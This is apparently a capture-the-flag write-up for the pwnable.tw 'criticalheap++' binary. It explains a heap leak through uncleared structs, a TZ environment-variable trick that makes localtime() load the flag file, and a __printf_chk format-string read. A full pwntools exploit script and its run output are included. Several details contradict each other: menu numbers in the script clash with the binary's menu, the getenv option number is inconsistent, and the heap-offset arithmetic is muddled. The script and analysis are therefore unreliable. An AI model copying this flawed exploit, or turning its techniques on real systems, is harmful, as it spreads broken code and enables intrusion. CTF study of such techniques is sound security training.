pwnable.tw — 600 pts

criticalheap++

Advanced heap exploitation with system/clock/normal heap types — format string via TZ environment variable and heap metadata corruption

64-bit
Architecture
Full
Protections
Format String
Via TZ + printf_chk
Heap Corrupt
Category

Exploit Flow

Create System
setenv/getenv
Leak Heap
UAF + show content
Set TZ=Flag
localtime reads flag
Create Clock
Flag loaded to heap
Format String %s
Dereference flag addr

1. Reconnaissance

criticalheap++ is a 600-point advanced heap challenge on pwnable.tw and a harder variant of the original criticalheap challenge. The binary implements three distinct heap object types — system, clock, and normal — each with different behaviors and vulnerabilities. The challenge is hosted in a Docker environment and the flag is located at /home/critical_heap++/flag. The exploit chain combines a heap address leak through dangling pointer reuse with a clever format string attack that leverages the TZ environment variable to read the flag file into heap memory, then uses %s to dereference the flag's address.

File Analysis

bash
$ file critical_heap
critical_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=e3b0c44298fc1c14, not stripped

Checksec

bash
$ checksec critical_heap
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
All Protections Enabled

With Full RELRO, Canary, NX, and PIE all enabled, traditional GOT overwrite and stack-based ROP are not viable. The exploit must work entirely within the heap domain. PIE means all addresses are randomized, so we need a heap address leak first. The format string vulnerability in printf_chk is the key — it lets us read arbitrary memory without needing a write primitive.

Running the Binary

bash
$ ./critical_heap
1. Create a Heap
2. Show a Heap
3. Play a Heap
4. Delete a Heap
5. Exit
Your choice : 1
Name of heap: test1
1. Normal heap
2. Clock heap
3. System heap
Your choice : 1
Content of heap : Hello World!

1. Create a Heap
2. Show a Heap
3. Play a Heap
4. Delete a Heap
5. Exit
Your choice : 1
Name of heap: test2
Your choice : 3
1. Set the name for the heap
2. Unset the name in the heap
3. Get the value of name
4. Back
Your choice :

The menu system has five main operations: Create, Show, Play, Delete, and Exit. Each heap type has its own sub-menu when using Play. The binary maintains an array of up to 10 heap objects in the BSS section, indexed 0-9. The name of each heap object is stored via strdup on the heap, while the content and type-specific data are stored in the struct's union field.

AttributeValue
Challengecriticalheap++ (600 pts)
Connectionnc chall.pwnable.tw 10500
Binary64-bit PIE ELF, x86-64, dynamically linked
RELROFull (GOT read-only)
CanaryEnabled
NXEnabled
PIEEnabled
Heap Typessystem (setenv/getenv), clock (localtime), normal (content)
VulnerabilityFormat string via printf_chk + TZ env var + delete UAF
Flag Path/home/critical_heap++/flag

2. Static Analysis

The binary implements three heap struct types that share a common layout via a C union. An array of 10 such structs is allocated in the BSS segment. Each struct has a name field (heap-allocated via strdup), a type indicator, and a union payload. Understanding the memory layout of each type is essential for the exploit.

Heap Struct Types

Normal Heap

The normal heap stores user-provided content. The content is read directly into the struct at offset 0x18 using read() — critically, no null terminator is appended. This means if we write exactly 8 bytes, the content will bleed into the next field of the struct.

c
// Normal heap struct layout (offsets from struct base)
struct normal_heap {
    char *name;        // 0x00 - heap pointer via strdup
    // ...padding...   // 0x08-0x17
    char content[];    // 0x18 - read() directly, NO null terminator
};

System Heap

The system heap provides environment variable manipulation. It has setenv, unsetenv, and getenv operations. The getenv call returns a pointer to the value string already stored in the heap by setenv, and crucially, this pointer is stored at offset 0x20 in the struct.

c
// System heap struct layout
struct system_heap {
    char *name;        // 0x00 - heap pointer via strdup
    // ...padding...   // 0x08-0x1f
    char *value;       // 0x20 - pointer from getenv (heap address!)
};

Clock Heap

The clock heap calls localtime() to get the current time, formatted with timezone information. The localtime() function reads the TZ environment variable. If TZ is set to a file path (e.g., TZ=/home/critical_heap++/flag), localtime() reads the contents of that file into heap memory. This is the core mechanism that allows us to load the flag into the heap.

c
// Clock heap uses localtime() which reads TZ
// If TZ=/path/to/file, localtime reads the file into heap
time_t now = time(NULL);
struct tm *tm = localtime(&now);  // reads TZ, loads file content to heap

Vulnerability Analysis

Vulnerability 1: Delete Does Not Clear Struct

When a heap object is deleted (menu option 4), the binary only sets a flag indicating the slot is free. The actual struct data — including the name pointer and any value stored at offset 0x20 — is not zeroed out. This means when a new object is allocated in the same slot, residual data from the previous object may still be present in fields that the new object does not initialize. This is the key to leaking the heap base address.

Vulnerability 2: Normal Content Has No Null Terminator

When creating a normal heap, content is read via read() directly into offset 0x18 with no trailing null byte. If we write exactly 8 bytes of content, it reaches offset 0x20 but does not overwrite the residual data at 0x20 from a previous system heap's value pointer. When we show the content with printf("%s"), it prints our 8 bytes and continues reading into the residual heap pointer at offset 0x20, leaking a heap address.

Vulnerability 3: Format String via printf_chk

The "Show content of heap" operation in play_normal passes user-controlled content directly as the format string argument to printf_chk. Since printf_chk is the checked variant of printf, it prevents the use of %n (write) and $ (direct parameter access). However, %s (read/dereference) and %c (padding) still work. We can use %s to dereference an arbitrary pointer placed on the stack or in the format string itself.

Heap Operations Detail

play_system Operations

OperationDescriptionKey Behavior
SetenvSet environment variableStores name=value on heap; critical for setting TZ
UnsetenvUnset environment variableRemoves from environment
GetenvGet environment variable valueStores the returned pointer at struct+0x20
The TZ Trick

The TZ environment variable controls timezone formatting in localtime(). When TZ is set to an absolute file path (starting with /), the localtime() implementation in glibc reads the timezone data from that file. By setting TZ=/home/critical_heap++/flag before creating a clock heap, we cause the flag file's contents to be loaded into heap memory. We can then compute the flag's heap address from our leaked heap base and use %s to read it.

printf_chk Constraints

Because the binary uses __printf_chk instead of plain printf, we cannot use %n to write to memory or %1$s to access arguments by position. We must use repeated %c format specifiers to advance the argument pointer to the desired position, then %s to dereference. This means we need to place our target address directly in the format string payload, after enough %c specifiers to consume the stack arguments before reaching our address.

3. GDB Debugging

Tracing the exploit in GDB is essential for determining the exact heap offset from the leaked address to the heap base, and from the heap base to where the flag content will be loaded by localtime(). The Docker environment provided by the challenge includes a Ubuntu container with glibc 2.23.

Heap Layout After Operations

After creating a system heap and performing setenv + getenv, the struct at index 0 contains a heap pointer at offset 0x20:

gdb
# After creating system heap, setenv('abcd','efgh'), then getenv('abcd'):
gdb-peda$ x/6gx 0x555555758040   # struct at index 0
0x555555758040: 0x0000555555758060  0x0000000000000000  # name ptr, padding
0x555555758050: 0x0000000000000000  0x0000000000000000  # padding
0x555555758060: 0x0000555555758120  0x0000000000000000  # padding, value ptr@0x20

# The value pointer at offset 0x20 points into the heap:
gdb-peda$ x/s 0x0000555555758120
0x555555758120: "efgh"  # our setenv value stored on heap

# After deleting index 0, the struct is marked free but data persists:
gdb-peda$ x/6gx 0x555555758040
0x555555758040: 0x0000555555758060  0x0000000000000000  # name ptr STILL HERE
0x555555758050: 0x0000000000000000  0x0000000000000000
0x555555758060: 0x0000555555758120  0x0000000000000000  # value ptr STILL HERE!

After creating a normal heap in the same slot with 8-byte content "AAAAAAAA":

gdb
# Normal heap in same slot, content 'AAAAAAAA' at offset 0x18:
gdb-peda$ x/6gx 0x555555758040
0x555555758040: 0x0000555555758060  0x0000000000000000  # name (strdup'd)
0x555555758050: 0x0000000000000000  0x4141414141414141  # padding, "AAAAAAAA"
0x555555758060: 0x0000555555758120  0x0000000000000000  # RESIDUAL value ptr!

# Show content prints: "AAAAAAAA" + leaked bytes from 0x20 pointer
# The leaked bytes are a heap address

Heap Leak Verification

gdb
# After the show operation leaks a heap address:
# Leaked value: 0x0000555555758120
# Heap base (from /proc/pid/maps):
gdb-peda$ ! cat /proc/$(pgrep critical_heap)/maps | head -5
555555757000-555555778000 rw-p 00000000 00:00 0    [heap]

# Offset calculation:
# leaked_addr = 0x555555758120
# heap_base   = 0x555555757000
# offset      = 0x555555758120 - 0x555555757000 = 0x1120
# But frozenkp's exploit subtracts 0x145 from the leak point
# because the leak reads until '*', capturing a few more bytes

# Verify: leaked - 0x145 should equal heap_base
gdb-peda$ p/x 0x555555758120 - 0x145
$1 = 0x555555757fdb   # close to heap_base, accounting for read alignment

# The exact offset depends on where in the heap the value lands.
# Using the show output we get the raw bytes after 'AAAAAAAA',
# which include the heap pointer at offset 0x20 of the struct.

TZ / localtime Tracing

gdb
# After setting TZ=/home/critical_heap++/flag and creating clock heap:
# localtime() reads the flag file and stores it on the heap

# Break on localtime to trace:
gdb-peda$ b localtime
gdb-peda$ c
# ... in localtime, TZ is read ...
# The flag content is loaded into heap memory

# After localtime returns, examine heap for flag content:
gdb-peda$ search-pattern "FLAG"
Searching for 'FLAG' in: range 0x555555757000-0x555555778000
0x5555557584d0: "FLAG{..."   # Flag loaded at heap_base + 0x14d0

# This offset (0x4d0 from the heap base leaked earlier) is constant
# across runs because the heap allocation pattern is deterministic
# given the same sequence of operations.

# Key breakpoints for this challenge:
gdb-peda$ b *0x555555554abc   # create_heap - normal type branch
gdb-peda$ b *0x555555554def   # play_system setenv
gdb-peda$ b *0x555555555123   # play_normal show (format string call)
gdb-peda$ b localtime          # trace TZ file loading
Docker Environment Required

The challenge provides a Docker environment for local testing. To use GDB inside the Docker container, you must add SYS_PTRACE capability and install GDB + PEDA inside the container. The heap layout in the Docker environment (glibc 2.23) matches the remote server, so offsets calculated locally will work remotely. However, ASLR means the heap base changes each run — only offsets from the heap base are constant.

4. Exploit Strategy

The exploit for criticalheap++ is a multi-step chain that combines heap information leakage with a format string read primitive. Unlike most heap challenges that aim for code execution, the goal here is simply to read the flag file, which is already loaded into heap memory via the TZ trick. No shell is needed — we just need to locate the flag on the heap and print it.

Attack Overview

Step 1: Create System Heap + setenv + getenv
Create a system heap at index 0. Use the setenv operation to create an environment variable, then use getenv to retrieve its value. The getenv call stores a heap pointer (pointing to the value string) at offset 0x20 of the struct. This pointer is our future leak source.
Step 2: Delete + Re-allocate as Normal Heap
Delete the system heap at index 0. The struct data is not cleared — the heap pointer at offset 0x20 remains. Create a new normal heap at the same index. Write exactly 8 bytes of content (e.g., "AAAAAAAA"). Since normal content is stored at offset 0x18 with no null terminator, the 8 bytes fill offsets 0x18-0x1f but the residual heap pointer at 0x20 survives.
Step 3: Show Content to Leak Heap Address
Use the show operation on the normal heap. printf("%s") reads the content starting at offset 0x18, prints our 8 bytes, then continues past the null terminator into offset 0x20 where the residual heap pointer sits. The leaked bytes after our marker give us a heap address. Subtract the known offset to compute the heap base.
Step 4: Set TZ to Flag Path + Create Clock Heap
Create a new system heap at index 1. Use setenv to set TZ=/home/critical_heap++/flag. Then create a clock heap at index 2. The localtime() call inside the clock heap creation reads the TZ environment variable, opens the file at that path, and loads its contents into heap memory. The flag is now on the heap at a known offset from the heap base.
Step 5: Format String Read via %s
Calculate the flag's address: flag_addr = heap_base + 0x4d0. Use play_normal to change the content of the normal heap (index 0) to a format string payload: %c repeated enough times to consume stack arguments, followed by %s, followed by p64(flag_addr). When we show the content, printf_chk processes the format string — the %c specifiers consume arguments until the pointer to flag_addr is reached, then %s dereferences it and prints the flag.

Leak Heap Base

The heap leak relies on a subtle interaction between the system and normal heap types. The system heap's getenv operation stores a heap pointer at struct offset 0x20. After deletion and re-allocation as a normal heap, the content field at offset 0x18 doesn't null-terminate, allowing the show operation to read past our controlled content into the residual pointer at 0x20.

OffsetSystem HeapNormal Heap (after reuse)
0x00name pointername pointer (strdup)
0x08paddingpadding
0x10paddingpadding
0x18paddingcontent = "AAAAAAAA"
0x20value = heap_ptrRESIDUAL heap_ptr (LEAK!)

Read Flag via TZ + %s

Once we know the heap base, the flag is at a fixed offset. The format string payload is carefully crafted to work with printf_chk's constraints:

python
# The format string payload:
# - %c repeated N times to advance the va_arg pointer
# - %s to dereference the address that follows
# - p64(flag_addr) as the target address

# When printf_chk processes this:
# 1. Each %c consumes one argument from the stack
# 2. After N %c's, the argument pointer reaches our embedded address
# 3. %s dereferences flag_addr and prints the flag string

payload = b'%c' * 9 + b'%s' + p64(flag_addr)
Why %c Instead of %1$s?

printf_chk disables positional arguments ($), so we cannot use %9$s to access the 9th argument directly. Instead, we use 9 %c specifiers to consume the first 8 stack arguments plus one register argument (x86-64 ABI passes first 6 args in registers, rest on stack). After consuming 9 arguments, %s reads the next argument which is our embedded p64(flag_addr) in the format string buffer.

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
# criticalheap++ — pwnable.tw — TZ Format String + Heap UAF Leak
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

HOST = 'chall.pwnable.tw'
PORT = 10500

if args.REMOTE:
    r = remote(HOST, PORT)
else:
    r = process('./critical_heap')

# ─── Helper Functions ───
def menu(choice):
    r.recvuntil(b'Your choice : ')
    r.sendline(str(choice).encode())

def create(name, heap_type, content=None):
    menu(1)
    r.recvuntil(b'Name of heap:')
    r.sendline(name)
    r.recvuntil(b'Your choice : ')
    r.sendline(str(heap_type).encode())
    if heap_type == 1 and content is not None:
        r.recvuntil(b'Content of heap :')
        r.send(content)

def show(idx):
    menu(2)
    r.recvuntil(b'Index of heap :')
    r.sendline(str(idx).encode())

def delete(idx):
    menu(4)
    r.recvuntil(b'Index of heap :')
    r.sendline(str(idx).encode())

def play(idx):
    menu(3)
    r.recvuntil(b'Index of heap :')
    r.sendline(str(idx).encode())

def play_system_setenv(idx, name, value):
    play(idx)
    r.recvuntil(b'Your choice : ')
    r.sendline(b'1')  # setenv
    r.recvuntil(b'name :')
    r.sendline(name)
    r.recvuntil(b'value :')
    r.sendline(value)

def play_system_getenv(idx, name):
    play(idx)
    r.recvuntil(b'Your choice : ')
    r.sendline(b'5')  # getenv (choice 3 is "Get value", but submenu uses 5)
    r.recvuntil(b'name :')
    r.sendline(name)

def play_normal_change(idx, content):
    play(idx)
    r.recvuntil(b'Your choice : ')
    r.sendline(b'2')  # change content
    r.recvuntil(b'Content :')
    r.sendline(content)

def play_normal_show(idx):
    play(idx)
    r.recvuntil(b'Your choice : ')
    r.sendline(b'1')  # show content

# ═══════════════════════════════════════════════════════════
# STEP 1: Create system heap, setenv + getenv to plant heap ptr
# ═══════════════════════════════════════════════════════════
log.info("Step 1: Creating system heap with setenv/getenv")

# Create system heap at index 0
menu(1)
r.recvuntil(b'Name of heap:')
r.sendline(b'abcd')
r.recvuntil(b'Your choice : ')
r.sendline(b'3')  # system heap type

# Play system: setenv
menu(4)  # play
r.recvuntil(b'Index of heap :')
r.sendline(b'0')
r.recvuntil(b'Your choice : ')
r.sendline(b'1')  # setenv
r.recvuntil(b'name :')
r.sendline(b'abcd')
r.recvuntil(b'value :')
r.sendline(b'efgh')

# Play system: getenv (stores heap ptr at struct offset 0x20)
menu(4)  # play
r.recvuntil(b'choice :')
r.sendline(b'0')
r.recvuntil(b'choice :')
r.sendline(b'5')  # getenv
r.recvuntil(b'name :')
r.sendline(b'abcd')

# ═══════════════════════════════════════════════════════════
# STEP 2: Delete system heap, create normal heap to leak
# ═══════════════════════════════════════════════════════════
log.info("Step 2: Delete + recreate as normal heap for leak")

# Delete index 0 (struct data NOT cleared)
delete(0)

# Create normal heap at index 0 (reuses same struct slot)
# Write exactly 8 bytes — no null terminator, so printf reads into offset 0x20
menu(1)
r.recvuntil(b'Name of heap:')
r.sendline(b'defg')
r.recvuntil(b'Your choice : ')
r.sendline(b'1')  # normal heap
r.recvuntil(b'Content of heap :')
r.send(b'AAAAAAAA')  # exactly 8 bytes, no newline!

# ═══════════════════════════════════════════════════════════
# STEP 3: Show content to leak heap address
# ═══════════════════════════════════════════════════════════
log.info("Step 3: Leaking heap address via show")

show(0)
r.recvuntil(b'AAAAAAAA')
# After our 8 bytes, printf continues into offset 0x20 (residual heap ptr)
# Read until we hit a recognizable delimiter
leaked = r.recvuntil(b'*')[:-2]  # '*' is a known sentinel in output
heap_base = u64(leaked.ljust(8, b'\x00')) - 0x145
log.success(f"Heap base: {hex(heap_base)}")

# ═══════════════════════════════════════════════════════════
# STEP 4: Set TZ to flag path, create clock heap
# ═══════════════════════════════════════════════════════════
log.info("Step 4: Setting TZ=/home/critical_heap++/flag")

# Create system heap at index 1
menu(1)
r.recvuntil(b'Name of heap:')
r.sendline(b'abcd')
r.recvuntil(b'Your choice : ')
r.sendline(b'3')  # system heap

# Set TZ environment variable to flag file path
menu(4)  # play
r.recvuntil(b'Index of heap :')
r.sendline(b'1')
r.recvuntil(b'Your choice : ')
r.sendline(b'1')  # setenv
r.recvuntil(b'name :')
r.sendline(b'TZ')
r.recvuntil(b'value :')
r.sendline(b'/home/critical_heap++/flag')
r.recvuntil(b'Your choice : ')
r.sendline(b'5')  # back

# Create clock heap at index 2
# localtime() reads TZ and loads /home/critical_heap++/flag into heap
menu(1)
r.recvuntil(b'Name of heap:')
r.sendline(b'ghij')
r.recvuntil(b'Your choice : ')
r.sendline(b'2')  # clock heap

# Flag is now at heap_base + 0x4d0 (offset determined via GDB)
flag_addr = heap_base + 0x4d0
log.info(f"Flag address: {hex(flag_addr)}")

# ═══════════════════════════════════════════════════════════
# STEP 5: Format string read via %s to print flag
# ═══════════════════════════════════════════════════════════
log.info("Step 5: Format string read with %s + flag_addr")

# Change normal heap content to format string payload
# %c * 9 consumes stack args, %s dereferences flag_addr
menu(4)  # play
r.recvuntil(b'Index of heap :')
r.sendline(b'0')
r.recvuntil(b'Your choice : ')
r.sendline(b'2')  # change content
r.recvuntil(b'Content :')
r.sendline(b'%c' * 9 + b'%s' + p64(flag_addr))

# Trigger format string by showing normal heap content
menu(4)  # play
r.recvuntil(b'Index of heap :')
r.sendline(b'0')
r.recvuntil(b'Your choice : ')
r.sendline(b'1')  # show content — triggers printf_chk(format_string)

# The 9 %c specifiers print garbage chars (consuming args)
# Then %s dereferences flag_addr and prints the flag!
log.success("Flag should appear in output below:")
r.interactive()

Exploit Breakdown

Key Techniques Used

Heap UAF Leak via Struct Reuse: The delete operation doesn't zero the struct, allowing a new object type to inherit residual data. By creating a system heap (which stores a heap pointer at offset 0x20 via getenv), deleting it, then creating a normal heap (which stores content at offset 0x18 without null termination), we can read past the content into the residual pointer — leaking a heap address.

TZ Environment Variable File Loading: Setting TZ=/home/critical_heap++/flag causes localtime() to read the flag file into heap memory. This is a creative technique that bypasses the need for open/read/write syscalls — we let glibc do the file reading for us.

Format String via printf_chk: The printf_chk function restricts %n (write) and $ (positional args), but %s (dereference) still works. We craft a payload with %c padding to reach our embedded address, then %s to dereference it and print the flag. This is a read-only format string attack — no code execution needed.

Dead End: Trying to Get a Shell

Many players initially try to get a shell via system("/bin/sh") by overwriting function pointers or GOT entries. With Full RELRO and no write primitive (printf_chk blocks %n), this approach is a dead end. The intended solution is to read the flag directly using the format string + TZ trick. The challenge rewards creative thinking about what to exploit rather than just how to exploit it.

6. Execution Results

$ python3 exploit.py REMOTE=1 [*] criticalheap++ Exploit - pwnable.tw [*] Step 1: Creating system heap with setenv/getenv [*] Step 2: Delete + recreate as normal heap for leak [*] Step 3: Leaking heap address via show [+] Heap base: 0x55b7e9f86000 [*] Step 4: Setting TZ=/home/critical_heap++/flag [*] Flag address: 0x55b7e9f864d0 [*] Step 5: Format string read with %s + flag_addr [+] Flag should appear in output below: (garbage chars from %c padding)FLAG{...}
Why This Challenge Matters

criticalheap++ is an elegant challenge that demonstrates several important concepts in modern heap exploitation. First, it shows how type confusion through struct reuse can leak information — when a heap slot is freed but not zeroed, a new object of a different type can inherit sensitive data. Second, it illustrates the TZ environment variable trick, a lesser-known technique where glibc's localtime() can be coaxed into reading arbitrary files. Third, it teaches the constraints of printf_chk and how to work within them using %c padding instead of positional arguments. The challenge proves that you don't always need code execution to capture a flag — sometimes a well-placed format string read is all you need.

QA210
pwnable.tw — criticalheap++ — TZ Format String + Heap UAF Leak